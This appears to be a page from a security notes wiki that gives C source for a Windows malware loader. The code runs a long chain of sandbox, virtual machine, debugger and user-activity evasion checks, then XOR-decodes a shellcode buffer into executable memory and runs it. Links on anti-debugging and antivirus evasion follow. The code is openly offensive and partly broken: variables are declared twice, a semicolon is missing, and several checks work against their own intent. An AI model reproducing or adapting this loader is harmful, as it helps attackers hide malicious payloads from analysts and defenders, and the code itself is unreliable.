Malware
Malware¶
Windows Malware¶
bool CALLBACK MyCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM data)
{
MONITORINFO monitorInfo;
monitorInfo.cbSize = sizeof(MONITORINFO);
GetMonitorInfoW(hMonitor, &monitorInfo);
int xResolution = monitorInfo.rcMonitor.right - monitorInfo.rcMonitor.left;
int yResolution = monitorInfo.rcMonitor.top - monitorInfo.rcMonitor.bottom;
if (xResolution < 0) xResolution = -xResolution;
if (yResolution < 0) yResolution = -yResolution;
if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440)
|| (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900)) {
*((BOOL*)data) = true;
}
return true;
}
DWORD GetParentPID(DWORD pid)
{
DWORD ppid = 0;
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(hSnapshot, &processEntry))
{
do
{
if (processEntry.th32ProcessID == pid)
{
ppid = processEntry.th32ParentProcessID;
break;
}
} while (Process32NextW(hSnapshot, &processEntry));
}
CloseHandle(hSnapshot);
return ppid;
}
bool isVirtualHardware(){
// check CPU
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
if (numberOfProcessors < 2){
return false;
}
// check RAM
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 2048) {
return false;
}
// check HDD
HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) {
return false;
}
//Check Vendor Names
HDEVINFO hDeviceInfo = SetupDiGetClassDevs(&GUID_DEVCLASS_DISKDRIVE, 0, 0, DIGCF_PRESENT);
SP_DEVINFO_DATA deviceInfoData;
deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
SetupDiEnumDeviceInfo(hDeviceInfo, 0, &deviceInfoData);
DWORD propertyBufferSize;
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, NULL, 0, &propertyBufferSize);
PWSTR HDDName = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, propertyBufferSize);
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, (PBYTE)HDDName, propertyBufferSize, NULL);
CharUpperW(HDDName);
if (wcsstr(HDDName, L"VBOX")) {
return false;
}
//Check Guest Devices
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING uDeviceName;
RtlSecureZeroMemory(&uDeviceName, sizeof(uDeviceName));
RtlInitUnicodeString(&uDeviceName, L"\\Device\\VBoxGuest"); // or pipe: L"\\??\\pipe\\VBoxTrayIPC-<username>"
InitializeObjectAttributes(&objectAttributes, &uDeviceName, OBJ_CASE_INSENSITIVE, 0, NULL);
HANDLE hDevice = NULL;
IO_STATUS_BLOCK ioStatusBlock;
NTSTATUS status = NtCreateFile(&hDevice, GENERIC_READ, &objectAttributes, &ioStatusBlock, NULL, 0, 0, FILE_OPEN, 0, NULL, 0);
if (NT_SUCCESS(status)) {
return false;
}
//Check IP address
DWORD adaptersListSize = 0;
GetAdaptersAddresses(AF_UNSPEC, 0, 0, 0, &adaptersListSize);
IP_ADAPTER_ADDRESSES* pAdaptersAddresses = (IP_ADAPTER_ADDRESSES*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, adaptersListSize);
if (pAdaptersAddresses){
GetAdaptersAddresses(AF_UNSPEC, 0, 0, pAdaptersAddresses, &adaptersListSize);
char mac[6] = { 0 };
while (pAdaptersAddresses){
if (pAdaptersAddresses->PhysicalAddressLength == 6){
memcpy(mac, pAdaptersAddresses->PhysicalAddress, 6);
if (!memcmp({ "\x08\x00\x27" }, mac, 3)) {
return false;
}
}
pAdaptersAddresses = pAdaptersAddresses->Next;
}
}
// check files
WIN32_FIND_DATAW findFileData;
if (FindFirstFileW(L"C:\\Windows\\System32\\VBox*.dll", &findFileData) != INVALID_HANDLE_VALUE) {
return false;
}
// check registry key
HKEY hkResult;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxSF", 0, KEY_QUERY_VALUE, &hkResult) == ERROR_SUCCESS) {
return false;
}
// Check Application name and directory
wchar_t currentProcessPath[MAX_PATH + 1];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH + 1);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"C:\\USERS\\PUBLIC\\")) {
return false;
}
if (!wcsstr(currentProcessPath, L"MALWARE.EXE")) {
return false;
}
//Check if launched by debugger
DWORD parentPid = GetParentPID(GetCurrentProcessId());
WCHAR parentName[MAX_PATH + 1];
DWORD dwParentName = MAX_PATH;
HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);
QueryFullProcessImageNameW(hParent, 0, parentName, &dwParentName); // another way to get process name is to use 'Toolhelp32Snapshot'
CharUpperW(parentName);
if (wcsstr(parentName, L"WINDBG.EXE")) {
return false;
}
//Check for other processes
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
WCHAR processName[MAX_PATH + 1];
if (Process32FirstW(hSnapshot, &processEntry)){
do{
StringCchCopyW(processName, MAX_PATH, processEntry.szExeFile);
CharUpperW(processName);
if (wcsstr(processName, L"WIRESHARK.EXE")) {
return false;
}
} while (Process32NextW(hSnapshot, &processEntry));
}
//Check libraries loaded by other processes
DWORD runningProcessesIDs[1024];
DWORD runningProcessesBytes;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesBytes);
for (int i = 0; i < runningProcessesBytes / sizeof(DWORD); i++) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, runningProcessesIDs[i]);
if (!hProcess) continue;
HMODULE processModules[1024];
DWORD processModulesBytes;
int s1 = EnumProcessModules(hProcess, processModules, sizeof(processModules), &processModulesBytes);
for (int j = 0; j < processModulesBytes / sizeof(HMODULE); j++) {
WCHAR moduleName[MAX_PATH + 1];
GetModuleFileNameExW(hProcess, processModules[j], moduleName, MAX_PATH);
CharUpperW(moduleName);
if (wcsstr(moduleName, L"DBGHELP.DLL")) {
return false;
}
}
}
//Check windows names
WCHAR windowTitle[1024];
GetWindowTextW(EnumWindowsProc, windowTitle, sizeof(windowTitle));
CharUpperW(windowTitle);
if (wcsstr(windowTitle, L"SYSINTERNALS")) {
return false;
}
//check computer name
DWORD computerNameLength;
wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
GetComputerNameW(computerName, &computerNameLength);
CharUpperW(computerName);
if (wcsstr(computerName, L"DESKTOP-")) {
return false;
}
//check user name
DWORD userNameLength;
wchar_t userName[UNLEN + 1];
GetUserNameW(userName, &userNameLength);
CharUpperW(userName);
if (wcsstr(userName, L"ADMIN")) {
return false;
}
//Check Domain
PWSTR domainName;
NETSETUP_JOIN_STATUS status;
NetGetJoinInformation(NULL, &domainName, &status);
if (status != NetSetupDomainName){
return false;
}
//Check Screen Resolution
MONITORENUMPROC pMyCallback = (MONITORENUMPROC)MyCallback;
int xResolution = GetSystemMetrics(SM_CXSCREEN);
int yResolution = GetSystemMetrics(SM_CYSCREEN);
if (xResolution < 1000 && yResolution < 1000) {
return false;
}
int numberOfMonitors = GetSystemMetrics(SM_CMONITORS);
bool sandbox = false;
EnumDisplayMonitors(NULL, NULL, pMyCallback, (LPARAM)(&sandbox));
if (sandbox) {
return false;
}
//Check If a USB was inserted at some point
HKEY hKey;
DWORD mountedUSBDevicesCount;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
RegQueryInfoKey(hKey, NULL, NULL, NULL, &mountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (mountedUSBDevicesCount < 1) {
return false;
}
//Check TimeZone
/*
SetThreadLocale(MAKELCID(MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), SORT_DEFAULT));
DYNAMIC_TIME_ZONE_INFORMATION dynamicTimeZoneInfo;
GetDynamicTimeZoneInformation(&dynamicTimeZoneInfo);
wchar_t timeZoneName[128 + 1];
StringCchCopyW(timeZoneName, 128, dynamicTimeZoneInfo.TimeZoneKeyName);
CharUpperW(timeZoneName);
if (!wcsstr(timeZoneName, L"CENTRAL EUROPEAN STANDARD TIME")) {
return false;
}
*/
wprintf_s(L"Now hacking...\n");
return true
}
bool isAutomatedAnalysis(){
//Test Internet Connection
HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"example.com", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
BOOL status = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (!status) {
return false;
}
//Test HTTP Response
HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"example.com", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
DWORD responseLength;
WinHttpQueryDataAvailable(hRequest, &responseLength);
PVOID response = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, responseLength + 1);
WinHttpReadData(hRequest, response, responseLength, &responseLength);
if (atoi((PSTR)response) != 1337){
return false;
}
//Some User Interaction
/*
//Pop Message Box
MessageBoxW(NULL, L"Just click OK", L"Hello", 0);
//Wait for User response
int response = MessageBoxW(NULL, L"Do you want to restart your computer now?", L"Restart required", MB_YESNOCANCEL);
if (response == IDYES) {
return false;
}
//Move the cursor
POINT currentMousePosition;
POINT previousMousePosition;
GetCursorPos(&previousMousePosition);
double mouseDistance = 0;
while (true)
{
GetCursorPos(¤tMousePosition);
mouseDistance += sqrt(
pow(currentMousePosition.x - previousMousePosition.x, 2) +
pow(currentMousePosition.y - previousMousePosition.y, 2)
);
Sleep(100);
previousMousePosition = currentMousePosition;
if (mouseDistance > 20000) break;
}
*/
//Check Previous User interaction
PWSTR recentFolder = NULL;
SHGetKnownFolderPath(FOLDERID_Recent, 0, NULL, &recentFolder);
wchar_t recentFolderFiles[MAX_PATH + 1] = L"";
StringCbCatW(recentFolderFiles, MAX_PATH, recentFolder);
StringCbCatW(recentFolderFiles, MAX_PATH, L"\\*");
int numberOfRecentFiles = 0;
WIN32_FIND_DATAW findFileData;
HANDLE hFind = FindFirstFileW(recentFolderFiles, &findFileData);
if (hFind != INVALID_HANDLE_VALUE){
do{
numberOfRecentFiles++;
} while (FindNextFileW(hFind, &findFileData));
}
if (numberOfRecentFiles >= 2) {
numberOfRecentFiles-=2; //exclude '.' and '..'
}
if (numberOfRecentFiles < 20) {
return false;
}
//Check Number of Processes
DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
if (runningProcessesCount < 50) {
return false;
}
//Check Uptime
ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) {
return false; //20 minutes
}
//Delay Execution
ULONGLONG uptimeBeforeSleep = GetTickCount64();
typedef NTSTATUS(WINAPI *PNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
PNtDelayExecution pNtDelayExecution = (PNtDelayExecution)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDelayExecution");
LARGE_INTEGER delay;
delay.QuadPart = -10000 * 100000; // 100 seconds
pNtDelayExecution(FALSE, &delay);
ULONGLONG uptimeAfterSleep = GetTickCount64();
if ((uptimeAfterSleep - uptimeBeforeSleep) < 100000) {
return false;
}
//Kernel Execution
Sleep(1000000);
ULONG *PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG *PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG *PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD time = GetTickCount64();
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
if ((time - kernelTime) > 100 && (kernelTime - time) > 100) {
return false;
}
return true;
}
void main()
{
if(!isVirtualHardware()){
if(!isAutomatedAnalysis()){
const char shellcode[] = "\xc9\x7d\xb6 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = 0; i < sizeof shellcode; i++)
{
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ '\x35';
}
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
}
}
return false;
}
Anti Debugging¶
https://old.antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet/
Antivirus Evasion¶
https://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/
https://blog.scrt.ch/2020/07/15/engineering-antivirus-evasion-part-ii/
https://github.com/scrt/avcleaner